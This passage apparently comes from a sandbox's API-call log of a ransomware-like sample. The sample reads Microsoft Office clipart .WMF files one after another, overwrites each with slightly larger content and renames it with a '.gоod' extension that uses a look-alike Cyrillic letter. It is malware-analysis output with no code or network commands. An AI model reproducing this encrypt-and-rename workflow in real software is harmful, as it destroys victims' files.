lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", lpFilePart=0x0) returned 0x44 [0247.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0247.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0247.892] GetFileType (hFile=0x828) returned 0x1 [0247.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0247.892] GetFileType (hFile=0x828) returned 0x1 [0247.892] ReadFile (in: hFile=0x828, lpBuffer=0x3811dc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3811dc0*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0247.935] CloseHandle (hObject=0x828) returned 1 [0247.937] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", lpFilePart=0x0) returned 0x44 [0247.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0247.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x870 [0247.990] GetFileType (hFile=0x870) returned 0x1 [0247.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0247.990] GetFileType (hFile=0x870) returned 0x1 [0248.439] WriteFile (in: hFile=0x870, lpBuffer=0x36dfdf0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x36dfdf0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0248.439] CloseHandle (hObject=0x870) returned 1 [0248.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF", lpFilePart=0x0) returned 0x44 [0248.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0248.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0248.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x904c49d3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f36)) returned 1 [0248.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0248.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.gоod")) returned 1 [0248.474] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", lpFilePart=0x0) returned 0x44 [0248.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0248.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x381f220 | out: lpFileInformation=0x381f220*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x94a)) returned 1 [0248.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0248.474] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", lpFilePart=0x0) returned 0x44 [0248.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0248.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0248.474] GetFileType (hFile=0x828) returned 0x1 [0248.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0248.474] GetFileType (hFile=0x828) returned 0x1 [0248.474] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x94a [0248.474] ReadFile (in: hFile=0x828, lpBuffer=0x381fe18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x381fe18*, lpNumberOfBytesRead=0x1faedc88*=0x94a, lpOverlapped=0x0) returned 1 [0248.475] CloseHandle (hObject=0x828) returned 1 [0248.501] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", lpFilePart=0x0) returned 0x44 [0248.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0248.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0248.502] GetFileType (hFile=0x828) returned 0x1 [0248.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0248.502] GetFileType (hFile=0x828) returned 0x1 [0248.502] WriteFile (in: hFile=0x828, lpBuffer=0x389b100*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x389b100*, lpNumberOfBytesWritten=0x1faedb98*=0x950, lpOverlapped=0x0) returned 1 [0248.503] CloseHandle (hObject=0x828) returned 1 [0248.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF", lpFilePart=0x0) returned 0x44 [0248.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0248.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0248.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9055d377, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1 [0248.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0248.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.gоod")) returned 1 [0248.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", lpFilePart=0x0) returned 0x44 [0248.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0248.506] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x389c390 | out: lpFileInformation=0x389c390*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1 [0248.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0248.506] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", lpFilePart=0x0) returned 0x44 [0248.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0248.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0248.507] GetFileType (hFile=0x828) returned 0x1 [0248.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0248.507] GetFileType (hFile=0x828) returned 0x1 [0248.507] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x414 [0248.507] ReadFile (in: hFile=0x828, lpBuffer=0x389ca50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x389ca50*, lpNumberOfBytesRead=0x1faedc88*=0x414, lpOverlapped=0x0) returned 1 [0249.550] CloseHandle (hObject=0x828) returned 1 [0249.577] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", lpFilePart=0x0) returned 0x44 [0249.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0249.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0249.578] GetFileType (hFile=0x828) returned 0x1 [0249.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0249.578] GetFileType (hFile=0x828) returned 0x1 [0249.578] WriteFile (in: hFile=0x828, lpBuffer=0x39160b8*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x39160b8*, lpNumberOfBytesWritten=0x1faedb98*=0x420, lpOverlapped=0x0) returned 1 [0249.578] CloseHandle (hObject=0x828) returned 1 [0249.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF", lpFilePart=0x0) returned 0x44 [0249.578] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0249.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0249.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x90f870d1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0249.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0249.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.gоod")) returned 1 [0249.579] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", lpFilePart=0x0) returned 0x44 [0249.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0249.579] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3917348 | out: lpFileInformation=0x3917348*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x876)) returned 1 [0249.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0249.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", lpFilePart=0x0) returned 0x44 [0249.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0249.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0249.580] GetFileType (hFile=0x828) returned 0x1 [0249.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0249.580] GetFileType (hFile=0x828) returned 0x1 [0249.580] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x876 [0249.580] ReadFile (in: hFile=0x828, lpBuffer=0x3917e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3917e68*, lpNumberOfBytesRead=0x1faedc88*=0x876, lpOverlapped=0x0) returned 1 [0249.581] CloseHandle (hObject=0x828) returned 1 [0250.643] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", lpFilePart=0x0) returned 0x44 [0250.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0250.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0250.844] GetFileType (hFile=0x86c) returned 0x1 [0250.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0250.844] GetFileType (hFile=0x86c) returned 0x1 [0250.877] WriteFile (in: hFile=0x86c, lpBuffer=0x38519a8*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x38519a8*, lpNumberOfBytesWritten=0x1faedb98*=0x880, lpOverlapped=0x0) returned 1 [0250.877] CloseHandle (hObject=0x86c) returned 1 [0250.904] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF", lpFilePart=0x0) returned 0x44 [0250.906] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0250.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0250.909] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91befeed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x880)) returned 1 [0250.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0250.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.gоod")) returned 1 [0250.930] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", lpFilePart=0x0) returned 0x44 [0250.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0250.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x38ba520 | out: lpFileInformation=0x38ba520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6b0)) returned 1 [0250.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0250.931] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", lpFilePart=0x0) returned 0x44 [0250.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0250.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.931] GetFileType (hFile=0x858) returned 0x1 [0250.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0250.931] GetFileType (hFile=0x858) returned 0x1 [0250.931] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x6b0 [0250.931] ReadFile (in: hFile=0x858, lpBuffer=0x38bae78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x38bae78*, lpNumberOfBytesRead=0x1faedc88*=0x6b0, lpOverlapped=0x0) returned 1 [0250.932] CloseHandle (hObject=0x858) returned 1 [0250.958] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", lpFilePart=0x0) returned 0x44 [0250.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0250.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0250.958] GetFileType (hFile=0x858) returned 0x1 [0250.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0250.958] GetFileType (hFile=0x858) returned 0x1 [0250.959] WriteFile (in: hFile=0x858, lpBuffer=0x3934510*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3934510*, lpNumberOfBytesWritten=0x1faedb98*=0x6c0, lpOverlapped=0x0) returned 1 [0250.959] CloseHandle (hObject=0x858) returned 1 [0250.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", lpFilePart=0x0) returned 0x44 [0250.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0250.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0250.959] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, 